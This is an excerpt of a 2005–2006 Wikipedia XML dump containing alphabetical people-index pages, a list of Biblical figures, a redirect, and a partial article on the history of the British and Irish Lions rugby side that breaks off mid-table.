[[de:Liste der Biographien/O]]</text>
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  <page>
    <title>List of people by name: P</title>
    <id>3905</id>
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      <id>29532116</id>
      <timestamp>2005-11-28T23:15:16Z</timestamp>
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        <username>Jerzy</username>
        <id>21860</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/84.252.23.28|84.252.23.28]] ([[User talk:84.252.23.28|talk]]) to last version by LeonardoRob0t</comment>
      <text xml:space="preserve">{{List of people P}}
{{Index only| a person}}

&lt;!-- 


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) from appearing on the shortest-articles page: otherwise these pages would obscure the pages there that probably can be expanded soon or deleted. This comment can be removed, if the design of this page ever changes to result in a sufficient length of source text.


--&gt;

[[de:Liste der Biografien/P]]
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  <page>
    <title>List of people by name: Q</title>
    <id>3906</id>
    <revision>
      <id>37659628</id>
      <timestamp>2006-02-01T11:02:17Z</timestamp>
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        <username>Jerzy</username>
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      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Baba g|Baba g]] ([[User talk:Baba g|talk]]) to last version by Jerzy</comment>
      <text xml:space="preserve">{{List of people}}

== People named Q ==
* [[Arthur Quiller-Couch|Q]], pen name of Arthur Quiller-Couch

==Qa - Qi==

*[[Moammar Al Qadhafi|Qadhafi, Moammar Al]], Libyan soldier &amp; politician
*[[Mohammed Qalamuddin|Qalamuddin, Mohammed]], (fl. 2000), Afghani politician
*[[Laisenia Qarase|Qarase, Laisenia]], (b. 1941), Fijian politician
*[[Dwight Muhammad Qawi|Qawi, Dwight Muhammad]], (born 1953), boxer &amp; trainer
*[[Concubine Qi|Qi, Concubine]], (died 194 BC)
*[[Qi Empress]], (d. 1369 or '70), Mongolian/Chinese empress-consort
*[[Qianlong]], Chinese emperor
*[[Qian Xuantong]], (1887-1939), phonetician
*[[Qin Shi Huang]], Chinese ruler

==Qu==

===Qua===

*[[Domenico Quaglio the Younger|Quaglio, Domenico, the Younger]], (1787-1837), painter
*[[Dennis Quaid|Quaid, Dennis]], actor
*[[Randy Quaid|Quaid, Randy]], comedian, actor
*[[Darlene Quaife|Quaife, Darlene]], Canadian writer
*[[Mary Quant|Quant, Mary]], (born 1934), British fashion designer
*[[David Quantick|Quantick, David]], (born 1961), British writer
*[[Paul Quantrill|Quantrill, Paul]], (b. 1968), Canadian baseball player
*[[William Quantrill|Quantrill, William]], (1837-1865), American soldier
*[[Johann Joachim Quantz|Quantz, Johann Joachim]], (1697-1773), composer
*[[Bernard Quaritch|Quaritch, Bernard]], (1819-1899), German-born British book dealer
*[[Francis Quarles|Quarles, Francis]], (1592-1644), poet
*[[Don Quarrie|Quarrie, Don]], (born 1951), Jamaican athlete
*[[Paul Quarrington|Quarrington, Paul]], Canadian writer
*[[Jerry Quarry|Quarry, Jerry]], (1945-1999), boxer
*[[Juda Quastel|Quastel, Juda]],  (1899-1987),  British-Canadian biochemist
*[[Anthony Quayle|Quayle, Anthony]], actor
*[[James Danforth Quayle|Quayle, James Danforth &quot;Dan&quot;]], (born 1947), American politician

===Qud===
*[[Ibn Qudamah|Qudamah, Ibn]], Islamic scholar

===Que===
*[[Ellery Queen|Queen, Ellery]], mystery writer pseudonym
*[[Ivy Queen|Queen, Ivy]], (born 1972),  Puerto Rican-born musician
*[[Eca de Queiróz|Queiróz, Eca de]], novelist
*[[Harry Quelch|Quelch, Harry]], (1858-1913), politician &amp; union leader
*[[Erasmus Quellinus II|Quellinus, Erasmus, II]], (1607-1678), painter
*[[Raymond Queneau|Queneau, Raymond]], (1903-1976), poet
*[[August Querfurt|Querfurt, August]], (1696-1761), painter
*[[Francois Quesnay|Quesnay, Francois]], economist
*[[Mae Questel|Questal, Mae]], (1908-1998), American actress
*[[Adolphe Quetelet|Quetelet, Adolphe]], (1796-1874), Belgian astronomer
*[[Milly Quezada|Quezada, Milly]], Merengue singer
*[[Manuel L. Quezon|Quezon, Manuel L.]], [[president of the Philippines]]

=== Qui ===
==== Quib - Quil ====
*[[James E. Quibell|Quibell, James E.]], (1867–1935), British Egyptologist
*[[Richard Quick|Quick, Richard]], (fl. 1990s), American swimming coach
*[[Ludwig Quidde|Quidde, Ludwig]], (1858-1941), German historian &amp; activist
*[[Al Quie|Quie, Albert H]], (b. 1923), American politician
*[[Carroll Quigley|Quigley, Carroll]], (1910-1977), American historian
*[[Derek Quigley|Quigley, Derek]], New Zealand politician
*[[Thomas J. Quigley|Quigley, Thomas]], (1905-1960), American academic administrator &amp; religious leader
*[[Daniel Quillen|Quillen, Daniel]], (born 1940), American mathematician
*[[Arthur Quiller-Couch|Quiller-Couch, Arthur]], (1863-1944), British writer

==== Quin ====
*[[Henry B. Quinby|Quinby, Henry]], (1846-1924), American businessman &amp; politician
*[[Thomas de Quincey|Quincey, Thomas de]]
*[[Jan Maurits Quinckhardt|Quinckhardt, Jan Maurits]], (1688-1772), painter
*[[Richard Quine|Quine, Richard]], film director
*[[W. V. O. Quine|Quine, Willard V.]], (1908-2000), philosopher
*[[Karen Ann Quinlan|Quinlan, Karen Ann]], (1954-1985)
*[[Anthony Quinn|Quinn, Anthony]], (1915-2001), Mexican-born American actor
*[[Colin Quinn|Quinn, Colin]], American comedian
*[[Glenn Quinn|Quinn, Glenn]], (1970-2002), actor
*[[Julia Quinn|Quinn, Julia]], American novelist
*[[Micky Quinn|Quinn, Micky]], (born 1962), English football player
*[[Niall Quinn|Quinn, Niall]], (born 1966), Irish football player
*[[A. J. Quinnell|Quinnell, A.J.]],  (1940-2005) British author
*[[Denise Quiñones|Quinones, Denisse]], (born 1980), beauty queen &lt;!-- [[Miss Universe]] [[2001]] --&gt;
*[[Ismael Quintana|Quintana, Ismael]], (born 1937), Puerto Rican singer
*[[A.B. Quintanilla|Quintanilla, A.B.]], (born c. 1965),  musician
*[[Omar Quintanilla|Quintanilla, Omar]], (born 1981), baseball player
*[[Selena Quintanilla|Quintanilla, Selena]], (1971-1995), singer
*[[Quintillus]], (d. 270), Roman Emperor &lt;!-- (270-275) --- supposed reign conflicts w/ his WP bio --&gt;

==== Quir - Quiv ====

*[[Jacopo della Quircia|Quircia, Jacopo della]], (1374-1438), painter
*[[Eldipio Quirino|Quirino, Elpidio]], (fl. 1950s), Filipino politician &lt;!-- President of Philippines 1948-1953 --&gt;
*[[Pauline Quirke|Quirke, Pauline]], British actress
*[[Vidkun Quisling|Quisling, Vidkun]], (1887-1945), Norwegian politician
*[[Robin Quivers|Quivers, Robin]], (born 1952), talk show host

=== Quo ===
*[[Quo Tai-chi]], (1889-1952), Taiwan Chinese diplomat &lt;!-- representing [[Republic of China|Nationalist China]] --&gt;
*[[Françoise Sagan|Quoirez, Françoise]], (b. 1935), French author 

&lt;!-- It would be silly to have a section for one person, except that Q-U followed by a consonant is so confusing to English-speakers as to be likely to be misread --&gt;
=== Qut ===
*[[Sayyid Qutb|Qutb, Sayyid]], (1906-1966)

[[de:Liste der Biografien/Q]]
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    <title>List of people by name: R</title>
    <id>3907</id>
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      <id>22191569</id>
      <timestamp>2005-08-30T18:39:26Z</timestamp>
      <contributor>
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        <id>389639</id>
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      <minor />
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--&gt;

[[de:Liste der Biografien/R]]
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    <title>List of people by name: S</title>
    <id>3908</id>
    <revision>
      <id>33014956</id>
      <timestamp>2005-12-28T17:36:53Z</timestamp>
      <contributor>
        <username>FlaBot</username>
        <id>228773</id>
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      <minor />
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      <text xml:space="preserve">{{List of people S}}
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&lt;!-- 


This comment exists to keep this permanently short page (like others that should never include names, within the tree whose root is
  List of people by name 
) from appearing on the shortest-articles page: otherwise these pages would obscure the pages there that probably can be expanded soon or deleted. This comment can be removed, if the design of this page ever changes to result in a sufficient length of source text.


--&gt;

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    <title>List of people by name: T</title>
    <id>3909</id>
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      <id>22191545</id>
      <timestamp>2005-08-30T18:39:06Z</timestamp>
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        <id>389639</id>
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      <minor />
      <comment>robot  Modifying: de</comment>
      <text xml:space="preserve">{{List of people T}}
{{Index only| a person}}

&lt;!-- 


This comment exists to keep this permanently short page (like others that should never include names, within the tree whose root is
  List of people by name 
) from appearing on the shortest-articles page: otherwise these pages would obscure the pages there that probably can be expanded soon or deleted. This comment can be removed, if the design of this page ever changes to result in a sufficient length of source text.


--&gt;

[[de:Liste der Biografien/T]]
[[es:Lista de biografías (T)]]
[[eo:Listo de biografioj - T]]
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  <page>
    <title>List of people by name: X</title>
    <id>3910</id>
    <revision>
      <id>40398418</id>
      <timestamp>2006-02-20T07:12:26Z</timestamp>
      <contributor>
        <username>Greasysteve13</username>
        <id>658625</id>
      </contributor>
      <text xml:space="preserve">{{List_of_people}}

*[[Malcolm X|X, Malcolm]] (1925-1965), US Black Nationalist leader
*[[Callistus Xanothopoulos|Xanothopoulos, Callistus]], patriarch of Constantinople
*[[Xanthippe|Xanthippe]], wife of Socrates
*[[Isidore Xanthopoulos|Xanthopoulos, Isidore]], patriarch of Constantinople
*[[Francis Xavier|Xavier, Francis]] (1506-1552), Spanish missionary
*[[Iannis Xenakis|Xenakis, Iannis]] (1922-2001), Greek composer
*[[Xenocles]], Ancient Greek writer
*[[Xenocrates]] (396-314 BC), philosopher
*[[Xenophanes]] (570-480 BC), philosopher
*[[Xenophon]] (431-c. 360 BC), Athenian knight, philosopher
*[[Xenophon of Ephesus]] (fl. c. 2th century), Greek writer
*[[Xerxes I]] (486-465 BC), Persian king
*[[Xerxes II]] (424-423 BC), Persian king
*[[Xiang Yu]] (232-202 BC), a powerful warlord
*[[Deng Xiaoping|Xiaoping, Deng]]  (1904-1997), Chinese statesman
*[[Ettore Ximenes|Ximenes, Ettore]] (1855-1919), Italian painter
*[[Fortún Ximénez|Ximénez, Fortún]] (died 1533), early Spanish colonizer in Mexico
*[[George Xiphilinus|Xiphilinus, George]], patriarch of Constantinople
*[[John Xiphilinus|Xiphilinus, John]] (died 1078), patriarch of Constantinople
*[[Xuan Zang]] (602-644), Buddhist monk
*[[Da Xuanxi|Xuanxi, Da]], Korean king of Balbae
*[[Xuxa]] (born 1963), singer
*[[Xu Zhimo]] (1897-1931), Chinese poet
*[[Xzibit]] (born 1974), rapper

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  </page>
  <page>
    <title>List of Biblical figures</title>
    <id>3912</id>
    <revision>
      <id>40606277</id>
      <timestamp>2006-02-21T20:00:46Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>Robot-assisted disambiguation: Epistle to Philemon</comment>
      <text xml:space="preserve">An categorical and alphabetical '''list of people featured in the [[Bible]]'''. (Note, the [[Torah]] or &quot;[[Old Testament]]&quot; of [[Judaism]] is the source of the Bible.  Judaism does not accept the [[New Testament]] of [[Christianity]].) However, Messianic Judaism does accept the New Testament. For a more complete lst of names see [[list of Biblical names]].

==Names==

===New Testament===

* [[Agabus]]
* [[Agrippa I]], called &quot;Herod&quot; in [[Acts of the Apostles]]
* [[Apostle Andrew|Andrew]]
* [[Saint Anne|Anna]]
* [[Apollos]]
* [[Priscilla_%28Christian%29|Aquila]]
* [[Barnabas]]
* [[Bartholomew]]
* [[Caiaphas]]
* [[Dionysius_the_Areopagite|Dionysius the Areopagite]]
* [[Epaphras]] fellow prisoner of Paul Philemon 1:23 Fellow worker Colossians 4:12-13
* [[Gallio]] Acts 18:12
* [[Herod the Great]]
* [[Herod Antipas]]
* [[Saint James the Just|James]]
* [[Jesus]]
* [[John the Baptist]] or baptizer
* [[Saint Joseph|Joseph]]
* [[Judas the Zealot|Judas]]
* [[Judas Iscariot]] (the traitor)
* [[Jude Thomas|Jude]]
* [[Lazarus]]
* [[Luke the Evangelist|Luke]]
* [[Mark the Evangelist|Mark]]
* [[Martha]]
* [[Mary Magdalene]]
* [[The Virgin Mary|Mary, mother of Jesus]]
* [[Mary, sister of Martha]]
* [[Matthew the Evangelist|Matthew]]
* [[Onesimus]]
* [[Paul of Tarsus|Paul]] also known as Saul
* [[Saint Peter|Peter]]
* [[Philemon of Colossae|Philemon]]
* [[Pontius Pilate]]
* [[Priscilla_%28Christian%29|Priscilla]]
* [[Silas]]
* [[Sopater]]
* [[Saint_Stephen|Stephen]] first martyr
* [[Timothy]]
* [[Thomas (apostle)|Thomas]]
* [[Apostle Titus|Titus]]

==Priests==
===Old Testament===

* [[Aaron]]
* [[Elazar]] 
* [[Eli (Judges)|Eli]]
* [[Phinehas]]

===New Testament===
* [[Caiaphas]]

==Prophets==

===Old Testament===

* [[Amos (prophet)|Amos]]
* [[Aaron]]
* [[Daniel]]
* [[Deborah]]
* [[Elijah (prophet)|Elijah]]  
* [[Elisha]]
* [[Ezekiel]]
* [[Habakkuk]]
* [[Hosea]]
* [[Joel]]
* [[Samuel]]
* [[Moses]]

===New Testament===

* [[Agabus]]
* [[Saint Anne|Anna]]
* [[John the Baptist]]
* [[Jesus]] Yeshua HaMashiach

==Hebrew Scriptures==
===Tribes of Israel===
According to the [[Book of Genesis]], all the [[Israelites]] were desendents of the sons of [[Jacob]], who was also blessed with the name [[Israel]].  His twelve male children become the ancestors of the Twelve Tribes of Israel.

* [[Tribe of Asher|Asher]]
* [[Tribe of Benjamin|Benjamin]]
* [[Tribe of Dan|Dan]]
* [[Tribe of Gad|Gad]]
* [[Tribe of Issachar|Issachar]]
* [[Tribe of Joseph|Joseph]], which was split into two tribes descended from his sons:
** [[Tribe of Ephraim]]
** [[Tribe of Manasseh]]
* [[Tribe of Judah|Judah]]
* [[Tribe of Levi|Levi]]
* [[Tribe of Naphtali|Naphtali]]
* [[Tribe of Reuben|Reuben]]
* [[Tribe of Simeon|Simeon]]
* [[Tribe of Zebulun|Zebulun]]

==New Testament==
===Christian Apostles of Jesus===

*[[Saint Peter|Peter]] (Simon Kefa)
*[[Apostle Andrew|Andrew]] (Simon's brother)
*[[Saint James the Great|James son of Zebedee]]
*John son of Zebedee (aka [[John the Evangelist]])
*[[Philip the Apostle|Philip]]
*[[Bartholomew]]
*[[Thomas (apostle)|Thomas]]
*[[Matthew the Evangelist|Matthew]]
*[[St. James the Less|James son of Alphaeus]]
*[[Saint Jude|Judas son of James]] (aka Thaddeus or Judas Lebbaeus)
*[[Simon the Canaanite]]
*[[Judas Iscariot]] (the traitor)

==Links==
{{Jew}}
{{Christianity}}

* [[List of Biblical names]]
* [[List of Jews]] (Religious figures)
* [[List of minor Biblical figures]]

==External links==

===Christian===

*[http://bible.gospelcom.net/bible?Matthew+10:2-4;Mark+3:16-19;Luke+6:14-16;Acts+1:13 Matthew 10:2-4, Mark 3:16-19, Luke 6:14-16, Acts 1:13]
* Additionally, [[Paul of Tarsus|Paul]] is a self-described apostle.[http://bible.gospelcom.net/bible?Rom+1:1;1Cor+1:1;2Cor+1:1;Gal+1:1;Eph+1:1;Col+1:1;1Tim+1:1;2Tim+1:1;Titus+1:1 Rom 1:1, 1 Cor 1:1, 2 Cor 1:1, Gal 1:1, Eph 1:1, Col 1:1, 1 Tim 1:1, 2 Tim 1:1, and Titus 1:1]
* Finally, [[Saint Matthias|Matthias]] is often forgotten. He is the apostle who replaced [[Judas Iscariot]]. [http://bible.gospelcom.net/bible?Acts+1:15-26 Acts 1:15-26]
*See also: [http://www.bibletexts.com/glossary/thetwelve.htm &quot;The twelve disciples and the women who followed Jesus&quot;], Copyright 1999-2001 Robert N. Cramer.

===Jewish===

*[http://www.mechon-mamre.org/e/et/et0.htm The Hebrew Bible in English]
*[http://bible.ort.org/ Navigating the Bible online]

[[Category:Lists of people by time period|Biblical]]

[[fr:Liste des personnages de la Bible]]
[[ia:Personages biblic]]
[[nl:Lijst van bijbelse personen]]
[[ja:聖書の登場人物の一覧]]
[[fi:Luettelo Raamatun henkilöistä]]
[[zh:聖經人物列表]]</text>
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    <title>BinaryOperation</title>
    <id>3913</id>
    <revision>
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      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Binary operation]]
</text>
    </revision>
  </page>
  <page>
    <title>British and Irish Lions</title>
    <id>3914</id>
    <revision>
      <id>41987040</id>
      <timestamp>2006-03-03T01:36:10Z</timestamp>
      <contributor>
        <username>Forever young</username>
        <id>477314</id>
      </contributor>
      <minor />
      <comment>/* 1910-1938 */</comment>
      <text xml:space="preserve">{| class=&quot;wikitable&quot; align=&quot;right&quot; width=&quot;300&quot; style=&quot;margin-left:0.5em&quot;
|- 
! style=&quot;background:#FFD700&quot; align=&quot;center&quot; colspan=&quot;2&quot; | &lt;big&gt;British and Irish Lions&lt;/big&gt;
|-
| colspan=&quot;2&quot; style=&quot;text-align: center;&quot; | [[Image:Lions2005.JPG|none|100px]]
|-
| '''Unions''' || &lt;small&gt;[[Rugby Football Union]]&lt;BR/&gt;[[Irish Rugby Football Union]]&lt;BR/&gt;[[Scottish Rugby Union]]&lt;Br/&gt;[[Welsh Rugby Union]]&lt;/small&gt;
|- style=&quot;text-align:center;&quot;
|-
|- style=&quot;text-align:center;&quot;
|colspan=&quot;2&quot;|'''First International'''&lt;br /&gt;[[Otago]] 3 - 8 Lions&lt;BR/&gt;([[28 April]], [[1888]])
|- style=&quot;text-align:center;&quot;
|colspan=&quot;2&quot;|'''Largest win'''&lt;br /&gt;[[Argentina national rugby union team|Argentina]] 0 - 46  Lions&lt;BR/&gt;([[7 August]], [[1927]])
|- style=&quot;text-align:center;&quot;
|colspan=&quot;2&quot;|'''Worst defeat'''&lt;br /&gt;[[New Zealand national rugby union team|New Zealand]] 38 - 6 Lions&lt;BR/&gt;([[16 July]], [[1983]])
|- style=&quot;text-align:center;&quot;
|}

The '''British and Irish Lions''' [[rugby union]] side comprises a pick of the best players from [[England national rugby union team|England]], [[Ireland national rugby union team|Ireland]], [[Scotland national rugby union team|Scotland]] and [[Wales national rugby union team|Wales]]. Rugby union circles refer to these four international Rugby Unions collectively  as the &quot;[[Home Nations]]&quot; and therfore sometimes refer to the Lions team as a &quot;Home Nations&quot; team.  Lions selectors can also draft uncapped players available to one of the four home unions, but this [[as of 2006 | now]] rarely occurs.

Combined [[Rugby Union]] sides from the then [[United Kingdom of Great Britain and Ireland]] toured in the [[Southern Hemisphere]] from 1888 onwards. The first tour took place as a commercial venture, made without official backing, but the six subsequent visits that took place prior to the [[1910]] [[South Africa]] tour (the first selected by a committee from the four Home Unions) enjoyed a growing degree of support from the authorities, although only one of these included representatives of all four nations.

The [[1950s]] proved a golden age for Lions rugby, although only in the 1970s did style begin to match the substance of victory in New Zealand and South Africa. Originally, poorly-organised Lions teams regularly suffered defeat at the hands of their hosts, but by [[1955]] the tourists took the matches seriously enough to obtain a 2-2 draw in South Africa. The [[1970s]] saw a renaissance for the side. The last tour of the amateur age took place in 1993. Three tours have happened since.

==Naming and symbols==
The team historically used the name '[[British Isles]]'. On their [[1950 British Lions tour to New Zealand and Australia|1950 tour]] of [[New Zealand]] and [[Australia]] they also adopted the name 'British Lions' after the [[lion]] emblem on their jerseys. Since the [[2005 British and Irish Lions tour to New Zealand|2005 tour]] of New Zealand they have used the name 'British and '''Irish''' Lions'. The team adopted the new name, in part, to take account of the sensitivities of some people in the [[Republic of Ireland]] and in [[Northern Ireland]] who object to any implication of &quot;Britishness&quot;. Some have criticised this change as exhibiting unnecessary [[political correctness]], as they felt that the geographic term [[British Isles]] carried no political overtones. Most rugby-union fans simply refer to the team as the ''''Lions''''. 

The Lions do not represent a [[nation-state]], and as such they do not relate to any national flag or other national symbols, and they do not have a [[national anthem]]. For the [[2005]] tour to New Zealand the Lions directorate specially commissioned a song, &quot;[[The Power of Four]]&quot;, although it met with little support amongst Lions fans at the matches, and even the players seemed not to know the words. The status of the song on future tours remains uncertain.

==History==
===1888-1909===
The earliest Lions tours date back to 1888, when a 21-man squad visited [[Australia]] and [[New Zealand]]. The squad drew players from England, Scotland and Wales, though English players predominated in the squad. The 35-match tour of two host nations included no tests, but the side played provincial, city and academic sides, winning 27 matches.  

The first tour, although unsanctioned by rugby bodies, had established the notion of touring [[North Hemisphere]] sporting sides to [[South Hemisphere]] nations. Three years after the first tour, the [[Western Province union]] invited rugby bodies in Britain to tour South Africa. Some saw the 1891 team — the first sanctioned by the [[Rugby Football Union]] — as the [[England national rugby union team|English rugby team]], though others referred to it (and rightly so) as &quot;the British Isles&quot;. The tourists played a total of twenty matches, three of them tests. The team also played the regional side of South Africa (South Africa did not exist as a political unit in 1891), winning all three matches. In a notable event of the tour, the British side presented the [[Currie Cup]] to [[Griqualand West]], the province they thought produced the best performance on the tour.

Five years later a British Isles side returned to South Africa. They played one extra match on this tour, making the total of 21 games, including four tests against South Africa, with the British Isles winning three of them. The squad had a notable Irish orientation, with the Irish national team contributing six players to the 21-man squad. 

In 1899 the British Isles touring side returning to Australia for the first time since the unofficial tour of 1888. The squad of 231,&lt;!-- perhaps only 23 ...--&gt; for the first time ever had players from each of the home nations. The team again participated in 21 matches, playing state teams as well as northern [[Queensland]] sides and [[Victoria]]n teams. A four-test series took place against [[Australia national rugby union team|Australia]], the tourists winning three out of the four.

Four years later, in 1903, the British and Irish team returned to South Africa. The opening performance of the side proved disappointing from the tourists' point of view, with defeats in its opening three matches by Western Province sides in [[Cape Town]]. From then on the team experienced mixed results, though more wins than losses. The side lost the test series to South Africa, drawing twice, but with the South Africans winning the decider 8 to nil. 

No more than twelve months passed before the British and Irish team ventured to Australia and New Zealand in 1904. The tourists devastated the Australian teams, winning every single game. Australia also lost all three tests to the vistors, even getting held to a stand-still in two of the three games. Though the New Zealand leg of the tour did not take long in comparison to the number of Australian games, the British and Irish experienced considerable difficulty across the Tasman after white-washing the Australians. The team managed two early wins before losing the test to New Zealand and only winning one more game as well as drawing once. Despite their difficulties in New Zealand the tour proved a raging success on-field for the British and Irish.

In 1908 another tour took place to [[Australia]] and [[New Zealand]]. In a reversal of previous practice, the planners allocated more matches  in New Zealand rather than in Australia: perhaps the strength of the New Zealand teams and the heavy defeats of all Australian teams on the previous tour influenced this decision. Some commentators thought that this tour hoped to reach out to rugby communities in Australia, as rugby league (infamously) started in Australia in [[1908]]. The Anglo-Welsh side (Irish and Scottish unions did not participate) performed well in all the non-test matches, but drew a test against New Zealand and lost the other two.

===1910-1949===
Visits that took place prior to the [[1910]] [[South Africa]] tour (the first selected by a committee from the four Home Unions) had enjoyed a growing degree of support from the authorities, although only one of these included representatives of all four nations. The [[1910]] tour to South Africa marked the official begining of British and Irish rugby tours: the inaugural tour operating under all four unions. The team performed moderately against the non-test parties, claiming victories in just over half their matches. The test series, however, went to South Africa, who won two of the three games. A side managed by [[Oxford University]] — supposedly the [[England national rugby union team|England rugby team]] but actually including three Scottish players — toured [[Argentina]] at the time: the people of Argentina termed it the &quot;Combined British&quot;. 

A wait of fourteen years would ensue until another British Isles team tour took place, again in South Africa. The team struggled with [[injurie]]s and lost all four tests (a game against the Western Province had test status). This tour may have marked the occasion when the team first became known as &quot;the Lions&quot;. 

In 1927 a short nine-game series took place in [[Argentina]], with the Lions winning all nine encounters; the tour did however become a financial success for Argentinian rugby.

After a seemingly long absence from New Zealand, the Lions returned in [[1930]] to some success. The Lions won all of their games that did not have test status except for the matches against [[Auckland]], [[Wellington]] and [[Canterbury]]; they did however lose all of their test matches against [[All Blacks|New Zealand]]. The side also visited Australia, losing a test but winning five out of the six non-test games. 

In [[1936]] the Lions visited [[Argentina]], winning all ten of their matches and only conceding nine points in the whole tour.

Two years later the Lions toured to South Africa, winning more than half of their normal matches. Despite having lost the test series to South Africa by game three, the Lions won the final test.

===1950-1969===
The first post-war tour went to New Zealand and Australia in [[1950]]. The Lions, sporting a new jersey-design and a fresh style of play, managed to win 22 and draw one of 29 matches over the two nations. The Lions won the opening four fixtures before losing to [[Otago]] and [[Southland]], but succeeded in holding the [[All Blacks]] to a nine-all draw. The Lions performed well in the remaining All Black tests though they lost all three, the team did not lose another non-test in the New Zealand leg of the tour. The Lions won all their games in Australia except for their final fixture against a [[New South Wales]] XV in [[Newcastle, Australia|Newcastle]]. They won both of the two tests against [[Australia national rugby union team|Australia]], in [[Brisbane]] and in [[Sydney]].

The [[1955]] tour to [[South Africa]] proved arguably just as successful — or even more successful — than the previous tour that had taken place five years earlier. The Lions left with another imposing record, one draw and 19 wins from the 25 fixtures. The four-test series against [[South Africa national rugby union team|South Africa]], a thrilling affair, ended in a drawn series. 

The 1959 tour to Australia and New Zealand marked once again a very successful tour for the Lions, who only lost six of their 35 fixtures. The Lions easily won both tests against [[Australia national rugby union team|Australia]] and lost the first three tests against the [[All Blacks]], but did find victory in the final test. 

After the glittering decade of the 1950s, the first tour of the 1960s proved not nearly as successful as previous ones. The 1962 tour to South Africa saw the Lions still win 16 of their 25 games, but did not fair well against the [[South Africa national rugby union team|Springboks]], losing all three tests. The 1966 tour to Australia and New Zealand started off very well for the Lions who stormed through Australia, winning five non-tests and drawing one, most notably defeating Australia in in two tests aswell. The Lions however experienced mixed results during the New Zealand leg of the tour, as well as losing all of the tests against the [[All Blacks]]. The Lions also played a test against [[Canada national rugby union team|Canada]] on their way home, winning 19 to 8 in [[Toronto]]. The 1968 tour of South Africa saw the Lions win 15 of their 16 provincinal matches, but the team actually lost three tests against the [[South Africa national rugby union team|Springboks]] and drew one.

===1970-1979===
The [[1970s]] saw a renaissance for the Lions. The [[1971]] team, centred around the skilled Welsh half-back pairing of [[Gareth Edwards]] and [[Barry John]], secured a series win over the All Blacks. The tour started with a loss to [[Queensland]] but proceeded to storm through the next provincinal fixtures, winning 11 games in a row. The Lions then went on to defeat the [[All Blacks]] in [[Dunedin]]. The Lions would only lose a single match on the rest of the tour, and won the test series against New Zealand, winning and drawing the last two games, to take the series two wins to one.

Arguably the best-known and most successful Lions team toured South Africa in [[1974]] under the esteemed Irish forward [[Willie John McBride]]. It went through 22 games unbeaten, and triumphed 3-0 (with one drawn) in the test series. The test series was beset by violence. The management of the Lions concluded that the Springboks dominated their opponents with physical aggression. At that time, in test matches the referee was from the home nation, there were only substitutions if a doctor agreed that a player was physically unable to continue and there were no video cameras and sideline officials to keep actions such as punching, kicking, and head-butting to a minimum. The Lions decided &quot;to get their retaliation in first&quot; with the infamous '99 call' (''99'' is a shortening of 999 which in Britain and Ireland is the phone number for the emergency services such as the police, ambulance or fire brigade). The idea was that a South African referee would be unlikely to send off all of the Lions if they all retaliated against &quot;blatant thuggery&quot;. At the battle of [[EPRFU Stadium|Boet Erasmus Stadium]], one of the most violent in rugby history, there is famous video footage of [[JPR Williams]] running over half of the pitch and launching himself at van Heerden after such a call.

The 1977 tour to New Zealand saw the Lions drop only one non-test out of 21 games, a loss to a [[University|Universities]] side. The team did not win the test series though, winning one game but losing the other three.

===1980-2005===
The Lions toured South Africa in 1980. The team completed a flawless non-test record, winning 14 out of 14 non-test matches on the tour. The Lions did however lose the first three tests to [[South Africa national rugby union team|South Africa]], winning the last one, though the series had already been won by the Springboks. The 1983 tour to New Zealand, was successful on the non-test front, losing all but two games, but the team was white-washed in the test series against the [[All Blacks]].

The Lions tour to Australia in 1989 was a short affair, being only 12 matches in total. The tour was very successful for the Lions, who won all eight non-tests and won the test series against [[Australia national rugby union team|Australia]], three to one. The Lions tour to New Zealand in 1993 was the last of the amateur era. The tourists won six and lost four non-test matches and losing the test series two games to one.

The 1997 tour to South Africa was a success for the Lions, who completed the tour only losing two games in total. The Lions won the test series two games to one. In 2001 a ten game tour took place in Australia, which saw the Wallabies win the test series two games to one. The latest tour was to New Zealand in 2005.

==Lions tours==
The Lions comprise a touring team which currently plays three southern-hemisphere teams: 
# [[Australia national rugby union team|Australia]]
# [[South Africa national rugby union team|South Africa]]
# [[All Blacks|New Zealand]]. 
They also routinely toured in [[Argentina national rugby union team|Argentina]] before [[World War II]]. 

Tours currently take place every four years, the most recent one, the [[2005 British and Irish Lions tour to New Zealand]], taking place in [[2005]]. The next planned tour will visit [[2009 British and Irish Lions tour to South Africa|South Africa]] in [[2009]].

In a break with tradition, a first 'home' fixture against [[Argentina national rugby union team|Argentina]] took place at [[Millennium Stadium]] in [[Cardiff]] on [[May 23]], [[2005]], before the Lions went to [[All Blacks|New Zealand]]. It finished in a 25-all draw.

On tour, mid-week games take place against local provinces or clubs as well as the weekend full tests against the host's national team. Tension normally exists between those selected for the tests and those who turn out only for the mid-week games. During the 2005 Lions tour, the visitors won all the provincial matches; the [[All Blacks]] won the test matches; and the [[New Zealand Maori]] won their game.

===List of pre-war Lions tours===

The following table lists all Lions before [[World War II]]:
{|class=&quot;wikitable&quot;
!Year
!To
!Captain
!Head coach
!Result
!Score
|-
|1888
| [[1888 British Lions tour to New Zealand and Australia|New Zealand&lt;br/&gt; &amp; Australia]]
|[[Bob Seddon]] - England&lt;BR/&gt;[[Andrew Stoddart]] - England
|
|
|-
|1891
|[[1891 British Lions tour to South Africa|South Africa]]
|[[Bill Maclagen]] - Scotland
|
|Won
|3-0
|-
|1896
|[[1896 British Lions tour to South Africa|South Africa]]
|[[Johnny Hammond]]
|
|Won
|3-1
|-
|1899
| [[1899 British Lions tour to Australia|Australia]]
|[[Matthew Mullineux]] - England
|
|Won
|3-1
|-
|1903
|[[1903 British Lions tour to South Africa|South Africa]]
|[[Mark Morrison]] - Scotland
|
|Lost
|0-1 (with 2 draws)
|-
|1904
| [[1904 British Lions tour to Australia and New Zealand|Australia&lt;br/&gt; &amp; New Zealand]]
|[[David Bedell-Sivright]] - Scotland
|
|Won
Lost
|3-0 (Australia)
0-1 (New Zealand)
|-
|1908
| [[1908 British Lions tour to New Zealand and Australia|New Zealand&lt;br/&gt; &amp; Australia]]
|[[AF Harding]]
|
|Lost
|0-2 (with 1 draw)
|-
|1910
|[[1910 British Lions tour to South Africa|South Africa]]
|[[Tom Smyth]] - Ireland
|
|Lost
|1-2
|-
|1910
|[[1910 British Lions tour to Argentina|Argentina]]
|[[John Raphael]] - England
|
|Won
|1-0
|-
|1924
|[[1924 British Lions tour to South Africa|South Africa]]
